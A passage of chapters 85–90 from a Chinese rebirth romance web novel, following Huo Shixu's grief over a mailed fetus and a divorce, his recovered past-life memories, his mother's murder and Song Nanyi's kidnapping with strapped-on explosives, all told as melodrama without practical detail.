上面写的宋南伊的名字。
再往下看。
这是一张孕检报告单。
霍时序的心脏突突跳了起来,他指尖无法控制地颤抖。
她怀孕了。
这个惊喜太大了。
他高兴得几乎要疯狂,“南伊她怀孕了,她怀了我们的孩子,这是她的孕检单,上面的日期……现在应该有三个月大了,她为了给我这个惊喜,一直瞒着我,这个惊喜,真的太大了,太大了……”
()
第85章 他?还是另一个他?
她是爱他的,毋庸置疑。
否则,她不会在他生日这天,送这么大一个惊喜给他。
江淮刚刚拿盒子过来时,沉甸甸的。
应该还有别的礼物。
“霍总,太太可能还送你别的惊喜了,赶紧打开来看看。”
霍时序高兴的,差点昏了头。
他缓缓自深处抽出一个四四方方的盒子,动作慎重。
包装被他心翼翼地拆开。
是有一点重量的。
他猜测着,会是什么样的惊喜?
盒盖打开,一股恶臭扑面而来。
几乎令人窒息。
血迹斑斑的透明塑料袋,里面混浊不堪。
霍时序嫌恶的,将它推开,“这是什么?”
味道有点重。
江淮捂住口鼻,强忍不适,伸手取下贴在袋上的纸条,一字一顿地念出声来:“这是我们的孩子,三个月大,霍时序,我终止了他的生命,将他送你。”
“霍总……”
江淮震惊。
怎么会发生这样的事情?
瞬间,霍时序脸色苍白如纸。
宋南伊终结了三个月的小生命……
她杀掉了他们的孩子……
还把即将成型的胎儿,交给了他。
为什么会这样?
她为什么要这么对他?
“她说……孩子打掉了?”他眼眶赤红,颤抖声音问江淮,“为什么?她为什么把孩子打掉?她明明知道,整个霍家,都想让我们生个孩子,我那么爱她,为什么?她为什么要这么对我?”
她是在报复他?
她一直在恨他。
她知道怎样杀他,最能鲜血淋漓。
“霍总,还有这个……”江淮将一个红色的信封,从盒子里拿出交给他,“……这里面好像也有东西,您看一眼。”
霍时序唇角涩苦。
缓缓伸手,将信封接过来。
指尖无法遏制颤抖。
信封里的物件滑落了出来,砸在地面上,发出细微声响。
红色的离婚证,带着三个醒目的大字,再次刺痛了他的眼睛。
时间凝固,周遭的一切变得渐渐模糊起来。
这一连串的打击是致命的。
他感觉自己像做了个噩梦。
她打掉了他的孩子,然后跟自己离婚了?
不,她明明还爱他的。
这不是真的。
“这是什么东西?我怎么看不清?我什么时候离的婚?为什么我不知道,为什么?”他不相信,不相信她会这样对他。
他离开前,她是那样的不舍。
明明,她说她会等他回来的。
太荒诞。
他绝不接受。
江淮将离婚证从地上捡起来,打开看了一眼。
上面贴着霍时序的单人照片。
应该不是假的。
“霍总,这离婚证是真的。”
“我没有同意离婚,她怎么可能拿到离婚证的?”
江淮看着这鲜红的证件。
按理说,这样顺利地拿到离婚证,只有一种可能,那就是签署离婚协议书。
并且,一个月的冷静期中,并没有人撤回离婚申请。
他在霍时序身边工作这么多年。
他所签署的每一份文件,都是他先看一遍。
难道……
他似是想到了什么,“霍总,会不会是上次,太太亲自拿给您签的商铺过户合同里,夹带了一份离婚协议书?”
霍时序明白了。
怪不得,她那么心急火燎地,让他黑灯瞎火的签那份过户合同。
原来,她早已经计划好了……
从她回到自己的身边,她就在处心积虑地计划着与他分开。
孩子?
孩子并不在她的计划之内。
却是挥向他最有锋利的那把剑。
她要跟他断得干干净净。
哪怕拿掉他们的孩子。
他竟然让她如此的失望……
失望到,不留一丝一毫的余地。
他……失去她了。
闭眼。
霍时序的眼角,有泪水淌了下来……
飞机在万米高空,继续往挪威方向。
江淮默默地收拾了,这一片狼藉。
女人绝情起来,真是男人都得靠边站。
何必呢。
不爱了就分开。
离婚就好好谈。
拿自己的骨肉,去惩罚别人的同时,难道不是在自我折磨吗?
这都快成人型了。
江淮难以抑制地轻叹,哀伤又窒息。
收拾完后。
江淮坐至离霍时序不远的座位,目光落在那微微颤抖的肩头上,心中五味杂陈。
难道爱到最后,就是伤害?
他真的不懂了。
突然……
飞机遭遇气流,开始颠簸。
机舱内的报警器,红灯不停地闪烁着,发出尖锐的蜂鸣……
霍时序的头疼得厉害。
抱着脑袋,痛不欲生。
人,开始混沌。
耳边只有江淮焦急的声音,“霍总,霍总你醒醒……”
他的声音好远。
远到几乎听不见。
霍时序抓着太阳穴。
他的脑袋,为什么突然变得好拥挤。
气压变化下,他开始耳鸣。
一段他从未听过的声音,在耳边响起。
“为什么你要送她走,宋南伊,你嫉妒心太强了,你这样怎么能当好霍太太?”
“宋南伊,语安她死了,她明明可以不用死的,是你害死了她,你是杀人凶手。”
“时序我怀孕了,开心吗?”
“我根本不稀罕你给我生孩子,宋南伊,就算怀孕,也抵消不了你对语安犯下的罪恶。”
“时序,救我,救我,我不想死,你不要放弃我,时序,我求你了……”
怒骂声,争吵声,哭声……
霍时序的头即将要炸开。
他在座位上痛苦地挣扎,身子不受控,直愣愣地跪到了地板上。
膝盖砸出声响。
却痛不自知。
这些记忆,到底是从哪里来的。
是属于他,还是属于另一个他?
“啊……”
“霍总,霍总……你醒醒,霍总……”
……
宋南伊到达瑞士后。
天天陪着宋知令散心。
日子过得很安逸。
父亲的心情,因为离开了那个伤心的地方,有在慢慢变好。
她挺欣慰的。
裴吟几乎天天跟她视频。
聊的都有江城的八卦。
“你别说,前段时间,霍时序没在江城,那些花边新闻也少了,挺没意思的,想骂人也没法骂。”
宋南伊笑了笑,“那就换个人骂,渣男那么多。”
“现在又有的骂了。”裴吟不知道该不该跟宋南伊讲,“算了,你也不想知道他的事情。”
“谁啊?”
“还能有谁?就是霍时序呗。”这条贱狗,最近可是又占据了江城的头条了,“他的专机出事了,听说遇到什么气流,再加上天气原因,反正就是各种原因吧,失事了。”
宋南伊一怔。
飞机失事?
“死了?”
“要不说,这坏人万万年呢,霍贱狗命还怪好的,那飞机出了故障后,一头扎进了森林,捡回了条狗命,不过,人一直没醒,一直在说胡话,像是被什么附了身,听说霍家找了好几个神婆给他作法,效果嘛……甚微,你说他,是不是报应?”
()
第86章 出家吧
宋南伊平静地笑了笑,“应该是吧。”
“你有感觉吗?”裴吟怕宋南伊没听懂她的意思,又补了句,“我是说,万一他真**,你会难过吗?”
“看心情吧。”
她如今还在孕反期,实在没有精力,为别人伤春悲秋。
就算是难过,也轮不到她。
他不是还有苏语安吗?
上辈子,他为了她殉情。
这辈子,不敢说苏语安会为他殉情。
运气好的话,哭个丧还是问题不大。
她和他已经离婚了。
没有任何关系的加持下,她是不会到现场的。
无论他是活着,还是**。
“你如今清醒的,让我不敢相信,这还是以前那个恋爱脑宋南伊吗?”
“恋爱脑恋对了人,可以傻一辈子,可惜,我没这个命。”
好在一切都过去了。
迎接她的,是崭新的人生。
从此,他便是路人。
挂断裴吟的手机。
宋南伊去给宋知令煮茶。
“爸,喝茶吧。”
这茶是江城带过来的。
是当年母亲亲自给父亲去购置的。
每每喝起这茶。
宋知令总是睹物思人。
“这次,我们过来的急,一些**遗物,给忘带了。”
宋南伊安静地,将茶水倒进宋知令的茶杯里,“爸,睹物伤情,等你什么时候,不这么难过了,我回江城,把妈的东西,全部带过来。”
宋知令看着女儿。
心口情绪翻涌又压抑。
对亡妻和逝子思念的话,走到唇边,又给咽了下去。
不是宋南伊心狠。
自从母亲和弟弟相继离世,父亲的身体也是每况愈下。
一直沉湎于此。
也许很快她就会去失父亲。
无法承受。
夜晚,静谧。
外面下着淅淅沥沥的小雨。
就像她世界里的天气,一直也没有晴朗。
在江城的前世今生,就像做了一个遥远而恶劣的梦。
梦里她**又活了。
梦里她的亲人一个个地离开。
梦里,她结束了与霍时序的一切。
梦里,他出事了……
……
清晨。
宋南伊在厨房里做早餐。
手机震动。
邓雪打来电话,说了工作上出的问题。
“吕恋,吕大明星,她在咱们家订制了一套,要走国际电影节红毯的珠宝,宝石的颜色,弄错了,再重新做,又来不及,这套珠宝价值千万,您看怎么办?”
吕恋,指明了要见宋南伊。
不然,就索赔超过上亿。
邓雪想让她回一趟江城处理。
“老板,对不起,我工作失职。”
宋南伊捏着眉心,“知道了,这几天,我回一趟江城处理。”
……
江城医院里。
霍时序又完成了新一轮的治疗。
江淮抽空,在吸烟室里抽了颗烟。
医生说了,霍时序并没有实质上的器官损害。
但他就是不愿醒过来。
好像身体里有两场战争。
在撕扯着他的生与死。
江淮又想到了,那纸离婚证和那个死胎。
不是每个人都能承受这般的,**诛心。
霍时序病重这段期间,江淮试图联系过宋南伊。
手机号停机。
微信,也已然被拉黑。
她从这个世界上,消失得干干净净。
……
宋南伊将吕恋约在了自己的珠宝工作室。
她回国,没有通知任何人,包括裴吟。
想法很简单。
处理完工作,她会马上飞回瑞士。
她没想到的是。
吕恋开口谈的第一句,不是珠宝。
而是……
“序哥在医院里,你不打算去看一眼?”
宋南伊反感,压紧眉头,“看来,吕小姐你,也不是很在意你的珠宝。”
“我只是觉得夫妻一场,没必要这么绝情。”
她挺替霍时序不值得。
搁在心尖上宠了这么多年的女人。
人家反手就跟他离了婚,还把死胎寄给他。
哪个人,能承受这些?
“要说,你没个相好的,我还真不信。”
吕恋盯着宋南伊看,甚至还有些鄙夷在眼底。
宋南伊将手中的文件,扔到桌面上,失去耐性,“就算我有相好的,与你,与霍时序都无关,如果不想聊珠宝的事情,那今天就到此为止吧。”
她起身。
吕恋跟着,急切喊住她,“宋南伊,你真的不在乎序哥的死活了吗?他在昏迷中,可一直叫的是你的名字。”
“他是死是活,也轮不到一个前妻来管。”宋南伊转身,冷淡地睨向吕恋,“吕小姐如果没有谈的,就请回吧。”
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吕恋盯着她的背影。
这个女人,比自己想象的还要狠和绝情。
她怎么会对霍时序一点感情都没有呢?
明明他那么爱她。
在宋南伊走到门口的时候,吕恋幽暗地说,“宋南伊,我挺瞧不起你的,序哥他没有做任何对不起你的事情,你这样对他,你的良心不痛吗?”
宋南伊笑了。
脸上是清冷绝裂的神色,“他对不对得起我,你又知道了?不要妄图在情感上**我,你没有资格。”
“你……,不管你们之间发生过什么,序哥他现在病重,你去看他一眼,也算是尽尽人事,哪天他就是真的**,你也不会遗憾不是吗?”
吕恋的话,听进宋南伊的耳朵里,像个笑话。
她对他怎么会有遗憾。
重活一世,她只想离开他,只想活下去。
而他呢。
纵容苏语安,害死她两个亲人。
她只不过稍微刺激他一下,他就这样半死不活。
这不是命是什么?
转身。
宋南伊拉开门……
“宋南伊,你知道,他去挪威是干什么吗?你一直误会他和苏语安,其实他是……”
吕恋想替霍时序解释。
“够了。”宋南伊不想听这些,与自己无关的事情,“吕小姐,这么爱当救世主,就出家吧。”
不得不承认。
吕恋说的这些有的没的,乱了宋南伊的心。
她肚子有些不舒服。
怕胎儿出事。
便一个人独自去了医院。
“胎儿发育的有点小,你要记得多吃饭,糟心的事情不要去想。”医生的表情,看起来并不轻松。
宋南伊紧张了。
她抓着医生的胳膊,想要一个好的解决办法,“有药吗?保胎的或是养胎的?”
“没什么更好的办法,接下来,这一个月,你要保持好的心情,多吃东西,适当的锻炼,宝宝感受到了你的努力,才会长得强壮。”
“我知道了。”
宋南伊失神,在椅子上坐了好一会儿。
才收起检查的单子,往外走。
抬眸。
江淮也望了过来。
四目相对,猝不及防,谁也躲避不及。
“太……宋小姐。”江淮的步子迈得很快,生怕宋南伊在他眼皮底下消失一般,“你怎么来医院了?是来看望霍总的吗?”
第87章 前世犯下的错
霍时序也在这个医院?
宋南伊完全不知道。
“不是。”宋南伊冷漠地收回神色,“我还有事,先走了。”
江淮伸手拦下了她,“既然不是,那就看一眼吧,霍总他自从上次生日时离开江城,就出了事,这一晃都一个月了,您真的一点都不担心吗?”
宋南伊一脸奇怪的,看向江淮,“江特助,我们已经离婚了,我有什么资格去担心一个没有关系的人呢?你这话说的,挺搞笑的。”
“就算离婚了,也不影响您看他一眼,宋小姐,就一眼,看一眼,好吗?”他拦着她。
算是哀求。
也许……
也许霍时序能感受到,宋南伊来看他,就醒了呢。
“没这个必要。”
宋南伊绕过江淮。
步子并没有停留。
江淮不死心,又追上来,强行拦下,“宋小姐,我们飞机虽然出事了,但是没有爆炸,人也没有受伤,霍总之所以现在病得这么重,完全是因为您送的那份‘惊喜’”
宋南伊抬眸。
他这是在指责她吗?
霍时序对她做过的事情,不比这儿血腥?
“这点小惊喜都受不了,刺激成这样,看来你的霍总,也不过如此。”
“宋小姐,您知道霍总打开那份孕检单时,有多么开心吗?他说这是他收到最好的生日礼物,他没想到迎接他是……”
江淮哽咽。
像是要哭。
宋南伊不愿意在医院这种地方拉扯。
看一眼就看一眼,又不会怎样。
“别说了,就看一眼。”
跟着江淮来到了特护VIP病房。
病床上的男人,很安静,像是睡着一般,
脸颊凹陷,毫无血色。
几台亮着光,不停闪烁着数据的仪器,在工作着。
一切都那么的冰冷。
要说没有触动是假。
但是撕心,又谈不上。
“他……植物人了?”宋南伊破天荒地问。
“真正意义上不算,医生说,他体内有两个人,一个让他活,一个让他死,不知道哪一个会胜利。”
宋南伊侧过脸,看了江淮一眼。
他眼眶红得厉害。
想必这些日子以来,是他在受这份煎熬。
挺忠心。
江淮声音很浅地讲述着,霍时序这段时间来的病情发展。
宋南伊淡淡的听着。
在转身要离开的时候。
她的手腕,突然被病床上的男人握住。
“别走……”
宋南伊被吓到了,“你……他是不是醒了?”
“他没醒,都说他是魇着了,这些动作都是无意识的,叫也叫不醒。”
江淮轻轻握着霍时序的手,将手指一个个掰开,放进被子里。
宋南伊揉了揉手腕。
再看向病床上的霍时序,他连睫毛也没有动过的痕迹。
但她好怕。
怕他醒来,抓着她不让走,
“那我先回去了。”
宋南伊身影略显仓皇,很快离开病房。
江淮微微发出一声叹息。
一转头。
霍时序的眼皮,缓缓掀开,苏醒了过来。
江淮不由一愣。
揉了揉眼睛,确定霍时序是真的醒来后。
不顾形象地大喊:“医生!护士!快来啊……”
“别喊了。”霍时序声音虚弱地打断。
他努力地想要支撑起身子,似乎并没有多少力气。
江淮一个箭步冲上前去,稳稳地将他扶住,嘴里嘀咕着:“嗨,还真神了,宋南伊刚来看过你,你就醒了?霍总,你该不会是在装睡吧?”
霍时序从未睡过这么久。
应该这样说,他从未在梦里,将自己的前生今世,看得如此的透彻。
他做过的蠢事。
他行过的恶。
他对宋南伊那么坏。
“江淮,我前世做过一件很荒唐的事情,我想弥补,你说,我这一世,还有机会吗?”
江淮听得一脸茫然。
什么前世今世的?
“霍总,您在说什么啊?我怎么听不懂啊。”
是啊,江淮怎么会听得懂。
霍时序带着前世的记忆,重生了。
前世。
那时的‘霍时序’刚找到苏语安。
她的血型,体内的抗体与母亲惊人的相似。
她是唯一救赎母亲的机会。
他对苏语安很珍重。
可是宋南伊因为猜忌,瞒着他,偷偷将苏语安送走了。
苏语安在离开江城后,意外身亡。
这对于重病的母亲来说,无疑也是死路一条。
他疯了。
把所有的责任,全部归咎到了宋南伊的身上。
他恨这个女人。
已经完全忘记了,那时的她已经有了身孕。
他整夜整夜的不回家,他在精神上折磨她,在语言上羞辱她,
每天每夜,都是无休无止的争吵。
可她呢。
她在苦苦地挽回。
她想跟他好好地把日子过下去。
他不肯啊。
宋南伊生产那天,母亲因为,长期没有找到合适的血液抗体,去世了。
那是他恨意滔天的一天。
头。
撕裂。
霍时序抱着脑袋,痛苦呻吟。
江淮吓坏了,“医生,医生……”
医生过来,给霍时序打了针。
他才缓缓地安静下来。
“霍总,您这到底是怎么了?”江淮满眼担心。
霍时序望着天花板,脆弱地笑了笑。
上一世的记忆,杀得他片甲不留。
就像一个十足的笑话。
这一世……
他想,宋南伊应该是重生了。
她不再阻挠他带苏语安回家,她不再嫉妒,不再爱,从重生的那一刻,她就已经决定了,这辈子,她要放弃他,离开他。
可是这一世,偏偏又发生了上一世,没有发生的惨剧。
宋星言出事了。
宋母也因此去世。
她恨惨了他。
不但跟他离了婚,还杀死了他们的孩子。
她用这种方式来报复他。
她恨他。
她应该恨他。
他犯下的错,应该用一辈子去偿还。
“啪”“啪”“啪”
霍时序给了自己三个嘴巴。
打得挺狠。
吓得江淮一愣,“霍总,您到底是怎么了?您倒是说句话啊?”
“江淮,我对不起南伊,真的对不起她。”
“霍总,是不是刚刚宋南伊过来,您感受到了?”江淮几乎能确定,这两个人之间是有羁绊的,“我已经很久没有联系到她了,今天还真是巧,在医院里遇到了。”
霍时序孱弱地伸出手,“扶我起来,我要去见南伊。”
“霍总,您这身体还这么虚弱,哪里能出门见人啊,还是好好治病,等好起来再说吧。”江淮不得不阻止。
“不,我等不了了,我现在就想见她,我要马上见到她……”
霍时序想跟她解释,上一世自己做的错事。
他想求她的原谅。
他想向她忏悔。
他一刻也等不了了……
()
第88章 我欠你的命
霍时序找到裴吟,追问宋南伊落脚的地方。
被她劈头盖脸地骂。
“霍时序,你能要点脸吗?宋南伊离开你,不是不能活,是可以活得更好,她可以嫁更好的人,成就更好的人生,你要死就死远点,别拉别人下地狱行吗?”
“如果南伊不嫁给你,她能幸福一千倍,一万倍,你看看她现在还有什么?背井离乡,妈没了,小小的星言也没了,你告诉我,你带给她了什么?”
“当初你那狗誓发的,整个江城都羡慕南伊高嫁,如今呢?背叛,离婚,打胎,她远走他乡,她就是要跟你一刀两断,你还要找她?她根本不可能原谅你。”
“滚吧霍时序,你这样的欺负南伊,你会不得好死的,最好死也别出现在她面前,弄脏了她的眼。”
裴吟骂得过瘾。
很久没这么酣畅淋漓了。
霍时序吃了闭门羹。
但也没还嘴。
裴吟骂的对。
动用了手头的关系,终于在一家不起眼的酒店中,找到了宋南伊。
看到站在门口的男人。
宋南伊错愕过后,便心如止水,“霍总有事?”
“我们谈谈。”他体力并没有完全恢复,很虚弱,只能靠江淮扶着,才勉强站得住,“南伊,给我十分钟的时间,好吗?”
“霍时序,如果我们之间能用十分钟说清楚,上天就不会给我们两世来纠缠……”宋南伊深呼吸,艰难地看向了面前的男人,“算了吧,不必再沉溺当下了。”
宋南伊要关门。
霍时序抬手挡住。
“南伊,对不起,我知道我欠你的,无论是道歉,还是命,我都欠你的,虽然,道歉并不能消弭对你造成的伤害,我愿意接受你的惩罚,什么样的惩罚,我都接受。”
言之凿凿。
真情流露。
态度诚恳。
宋南伊眼眸沉重。
翻涌狂跳的心脏上,像被缠上了密密麻麻的水草。
窒息的厉害。
“霍时序,我们已经离婚了,你懂离婚是什么意思吗?离婚就是没有关系了,我们现在已经是没有任何关系,你的道歉也好,你的对不起也罢,我不接受。”
“过去的已然过去,但过去造成的伤害,永远在淌着血,你欠我的,用生命还不了,你的命还没那么值钱。”
“霍时序,马后炮没有用,我知道你现在心里很难受,你这是活该,你这是报应,好好受着吧。”
她想用尽量平静的语气。
来证明,自己可以坦然地面对,过去的疼痛。
但她高估了自己。
她做不到如此的淡定。
最后这句话说完时,她的眼眶已经红透,甚至唇齿都在颤抖。
如果霍时序肯再多说一句。
她应该会失去理智,说不定会一刀捅上去。
让这一世,也彻底结束。
“我不强迫你,现在跟我谈,你先好好休息,我就在外面,等你什么时候想谈了,我们再谈。”
宋南伊并未再给他只言片语的回应。
门,重重地关上。
霍时序失去力气,滑坐在地上。
江淮心疼他,“霍总,既然她不想谈,咱们就先回医院把病治好,等身体好了,再慢慢地跟聊,你这样,要是病情加重,哪还有谈的机会了。”
“我的病都是关于她,江淮,你回去吧,这几天,我就住在这儿了。”
江淮没太听懂。
住在这儿?
走廊上吗?
好歹也去隔壁开个房间。
“霍总,您不会是要住在门口吧?”
“就是住在门口,她一出来,我就能看见她。”霍时序没来由的坚定。
江淮:……
霍时序不离开。
江淮就陪在旁边。
宋南伊早晨出门的时候,一左一右两个大男人,就在她门口靠墙躺着。
她吓得,差一点,就要报警。
“你们在这儿干什么?监视我?”
江淮立马起身解释,“宋小姐,你误会了,霍总他只是想离您近一点,再近一点,没有别的办法才是真的。”
“你赶紧带他走吧,我看他这副这样子,别死在这儿。”
宋南伊高抬脚,绕过这两个男人,大步离开。
江淮将霍时序扶起来,劝道,“霍总,宋小姐的话你也听到了,你还是先养病吧,不急在这一时。”
“不,我要守着她,无论她在哪儿,咳,咳……”
“那……”江淮也没了主意。
他扶着霍时序,追着宋南伊出去。
宋南伊走出酒店。
对着太阳的方向,深呼吸了两口。
刚要打车离开。
就听到有人喊她的名字,“南伊?是你吗?”
声音很熟悉。
她回眸,望了过去,“陆律师?”
“真的是你。”陆为谦拎着公文包,快步走了过来,“好久不见了,我听说,你和宋叔去了瑞士。”
宋南伊:……裴吟这个大嘴巴。
“陪我爸过去散散心。”她抬手将风吹乱的头发,掖到耳后,多少有点见面的尴尬,“你在这边……谈业务吗?”
“刚谈完,你……”他抬望了一眼酒店,“……怎么没住家里?”
“住酒店方便一些,处理完工作上的事情,我就回去了。”
“要去工作室吗?”陆为谦将自己,停在不远处的车子解锁,“正好,我顺路送你吧。”
“嗯,谢谢。”宋南伊没有拒绝。
江淮扶着霍时序出来。
刚好看到宋南伊上了陆为谦的车子。
“还真是巧,陆律师也在这边。”
霍时序望着车子的尾灯,身子一软,栽倒了下去。
“霍总……”
“霍总……”
……
陆为谦谈不上健谈。
宋南伊也不是什么话多的人。
车里太安静了。
陆为谦便打开了音乐。
“我和……江姝言的婚约,取消了。”他看似无意,实则有意地提及。
宋南伊微微有些意外,“我记得你们订婚也没几个月吧?”
“联姻就是这样,如果双方都没有可利用的,那就没必要捆绑在一起,各自寻找更为有利的合作伙伴,也很正常。”
陆为谦的语气,并未有大的起伏。
似乎,他生来就知道自己只是一枚棋子。
太多的身不由己,却成了宿命。
宋南伊听得挺唏嘘。
“那你……还等着继续联姻?”
他微笑着看了她一眼,“如果我喜欢的女孩,肯接受我的追求,我也可以为了爱情,背叛我的家族。”
宋南伊似懂非懂地点了点头。
不想联想太多。
“那有钟意的女孩了?”
“有了。”他很坦诚。
“那挺好的。”
宋南伊笑笑。
她没敢问是谁。
生怕,这个名字是自己。
不管她承认与否,每每陆为谦看她的眼神,总会带着某种深意,和一些揣摩不透。
她很怕跟他对视。
怕他误会了自己。
()
第89章 他还是放弃了她
医院里。
霍家老爷子,站在病床边上,看着昏迷不醒的孙子。
长吁短叹。
“这怎么就,成了病秧子了呢?”他威严厉色的眼睛,看向江淮,“江特助,你就是这么照顾你们霍总的?”
“老太爷,霍总他是一时的气急攻心,是,是……”
江淮吞吞吐吐的,不知道该不该讲。
霍正诚是急性子。
江淮一吱唔。
他的拐杖就挥了过来,“有话就说,留半截干什么?”
江淮立马站直,“是看到宋小姐她上了陆律师的车子,才一时气急攻心,再加上刚刚醒来,身子弱的很,所以就……加重了。”
霍正诚听得眉心皱起。
这婚都离了。
装起情圣来了。
早干什么去了?
真让人笑话。
“分开了,就不要总盯着人家南伊,以她的条件,早晚还是要再婚的,自己不珍惜怪谁?气**,也没人心疼,还是悠着点,有什么不甘的,养好身体再说。”
“老爷子说的是。”
霍时序咳嗽两声,醒了过来。
看到老爷子在,他强撑着身子,坐了起来,“爷爷。”
“你这半死不活的,要我是南伊,也瞧不上。”对于两个孩子离婚这事,霍正诚是惋惜的,更心疼那个被打掉的孩子,“也不知道,你是做了什么,伤了南伊的心,让她做出又离婚又打胎的事情来,真是霍家不幸。”
霍时序沉闷不语。
他对不起她的事情太多了,哪是三言两语可以说得清。
他应该早一点,把母亲治病的事情,告诉她。
她是他的太太啊。
她有权力知道的。
可他没有。
他以为自己可以抗过去。
他以为自己无所不能……
老爷子瞧不上他这副要死不活的样子,便又提到了挪威那边,“我知道,你对你母亲放不下,但你也知道,你母亲的病,想治好很难,当年她离开霍家,就是因为她不想她发病的时候,被你看到,失了做母亲的尊严……你应该理解她的苦心才是。”
“你找来那个苏语安,给你母亲当血袋子的,但是南伊不知道,你也未曾同她解释清楚,让她一直痛苦地活在误会当中,她离开你,责任全在你。”
“你也不必嫉妒陆家公子,在我看来,南伊的优秀,足以吸引江城任何一家的豪门公子,嫁给谁,都比嫁你强。”
他这个孙子是经商的天才。
却没有能将自己辛苦追求来的女人保护好,没有将婚姻经营明白。
是该吃点苦头了。
……
珠宝的事情,吕恋一直拖着。
本来打算在江城只呆一周左右的宋南伊,已经超过了十天。
那家酒店,她不会再回去了。
免得被霍时序缠上。
“邓雪,今天你陪我去做一下市场调研,我这次离开后,争取下季新品再回来。”
“好的,老板。”
邓雪拿上包,跟着宋南伊出了门。
去地下车库的时候。
邓雪发现忘了拿东西,“老板,我平板忘记带了,你稍等我一下,我去取。”
“好。”
宋南伊拿了车钥匙去开车门。
手刚落到车门把手上,后脑就被重重地敲了一下。
人,紧接着就晕了过去。
……
医院里。
江淮接到了挪威那边的电话。
“什么?什么时候的事情?三天了?为什么现在才……,行,我知道了。”
挪威那边出事了。
电话是那边警局打来的。
他握着手机,在病房的门口,踌躇着,不知道该如何将这个坏消息告诉霍时序。
事情,刻不容缓。
容不得想太多,江淮转身推开病房的门,走了进去。
“不好了霍总,挪威那边出事了?”
霍时序刚刚拔了针,抬眼,“出什么事情了?”
“夫人她……”
霍时序眉心一紧,“说啊。”
“苏语安把看守夫人的保姆杀害后,也把夫人她……”江淮不忍将这个呼之欲出的真相,告诉霍时序,但又不得不说,“……夫人她也被害了,已经有几天的时间了,是物业上门时,发现了尸体。”
“什么?”霍时序的瞳孔放大,又猛地紧缩,气血逆流,“苏语安不是在实验室吗?怎么会跑到家里**?我妈她……”
他的神色痛苦极了。
呼吸变得沉重。
江淮甚至都不敢看他那双通红噬血的眼睛。
“霍总,挪威警局那边,问我们什么时候去处理一下。”
男人双眼如灼烧一般,双手紧紧地握成拳头,“那苏语安呢?她人呢?”
“跑了。”
“跑哪去了?”
江淮刚要说不清楚,手机就收到了一个陌生的电话号码。
他急忙接起,“喂?是我,什么?报警了没有?我知道了。”
“霍总。”江淮感觉自己的心,都要跳出来了,这坏事怎么就堆
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到一天了,“宋小姐她……失踪了。”
“啊?”
霍时序以为自己听错了,“宋南伊失踪了?什么时候的事情?”
“刚刚邓雪打电话来说,她和宋小姐一起出了门,在地库时,她上去取了东西,回来就见人影了,宋小姐的包和车钥匙,都丢在了车旁,她怀疑是有人掳走了宋小姐。”
宋南伊被人劫持了?
什么人?
会不会是……
江淮被自己推理吓到了,“霍总,会不会是苏语安跑回国了?是她再次把宋小姐……**了?”
再次?
霍时序摇头。
他不允许,再次的事情发生。
霍时序怒了。
像一头野兽。
眼神凶狠的可怕,仿佛要吞噬一切。
“挖地三尺,也要把人给我找出来。”
“那挪威那边,您要亲自去处理夫人的后事吗?那边警局说,他们在夫人去世的屋子里,找到了一份遗嘱,还要亲手交给您。”
霍时序的心,狠狠地颤抖,“内容知道吗?”
“他们没说太多,只是简单地提了一句,夫人希望您亲自处理她的后事。”
这也许是霍时序最后一次,见到母亲。
如果霍时序要离开。
那这边宋南伊的事情,也就……
江淮不知道霍时序会如何的决定。
一旦要做一个选择,就会变得异常艰难。
前世,霍时序选择了母亲。
这一世呢?
霍时序沉默这功夫。
邓雪的电话再次打了过来。
“江特助,我到现在还没有找到宋总,能不能麻烦你,求一下霍总,帮忙找一下。”邓雪在手机那头要急哭了。
宋南伊现在不是一个人。
她还怀着宝宝。
万一真的出事了,她这辈子心都不会安的。
“江特助,可不可以,让霍总接个电话,我亲自跟他讲一下。”
江淮看了霍时序一眼。
他不敢擅作主张。
低声询问霍时序的意见,“邓雪想跟您通话。”
而恰在这时。
霍时序的手机响了,国外的号码。
他便先接了起来,“喂?是我,什么?你们不能随便就火化,钱我可以照给,我会马上过去处理,请你们务必要等我过去。”
那头很为难地问,“那你什么时候来处理,我们最多再保存三天。”
“马上,我会马上飞过去。”
霍时序从病床上下去,拿起外套就往外走。
第90章 她不想给疯子陪葬
江淮手里的手机,变得烫手。
手机的那头,邓雪还在焦急地等待,“江特助,霍总可以接听电话吗?宋总她一直找不到,警察那边也没有消息,万一出事,可怎么办啊?”
“霍总还有重要的事情要处理,稍等我再回你。”江淮挂断了手机。
跟着霍时序跑了出去。
“江特助,喂?喂……你们不能这样见死不救……”邓雪听着手机里的盲音。
欲哭无泪。
离婚了,就真的不管了吗?
现在人下落不明。
就算不心疼宋南伊,那孩子总是霍家的。
人怎么可以绝情到这种地步。
现下,她要去找谁帮忙呢?
……
宋南伊睁开眼,看到苏语安时,竟然一点都不意外。
这次,她没有把自己绑到深山野岭。
是霍时序圈养她的大平层。
房子很大,光线很好,窗台上有一盆茉莉花。
透着隐隐淡淡的香气。
宋南伊动了动。
这才惊觉自己身上绑满了定时**。
苏语安准备在这闹市区,将她炸死?
宋南伊低头看着沉甸甸的**。
威力应该不小。
至少能炸毁三到五层楼。
那死的可不会是她一条人命。
“宋南伊,没想到吧,你又落到我手里了。”苏语安眼睛凹陷,满脸的红斑,声音也嘶哑难辩,“这次,你可就没那么幸运了。”
“我觉得你报复错了人。”宋南伊眉眼间,透着些许的淡定,“苏语安,你看你现在人不人,鬼不鬼的,这是谁造成的?是我吗?”
苏语安比任何人都清楚。
她之所以,变成今天这样,全拜霍时序所赐。
但宋南伊害**她的弟弟,这仇她一定是要报的。
“别急,你们一个都逃不了。”
苏语安的声音,几乎是用气发出来的。
沙哑,疲惫,又透着死气沉沉。
好像一瞬间,老了几十岁的感觉。
“宋南伊,我这就给霍时序打电话,看看他肯不肯用他的命,来换你的命。”
苏语安拨通了霍时序的手机。
手机响了许久,都没人接听。
几次过后,她便放弃了。
“宋南伊,看来,你对霍时序来说,并没有那么重要,也是,他不爱你,他爱的是我……”
苏语安想用音量,来加重这个虚拟的事实。
可是霍时序带给她的伤害,是谁都弥补不了的。
除了宋南伊,大家都知道,她对霍时序来说,意味着什么。
“宋南伊,其实你挺蠢的。”
“宋南伊,你嫁给霍时序三年,你却连他是一个什么样的人都不知道?真可怜。”
苏语安佝偻着身子。
拉了把椅子,坐到了宋南伊的面前。
盯着她看的眼神,像骑着扫把的女巫。
宋南伊淡淡地与她对视,反问,“他是什么样的人?”
“他是一个没有什么道德底线的人,他是一个变态,他害**我的爱人,他这种人,为什么不**,为什么……”
苏语安替自己不公。
她不打算活了,没有任何意义。
但也不会让霍时序好过。
她知道,霍时序爱宋南伊。
她就让他也尝尝,爱人死在自己面前的滋味。
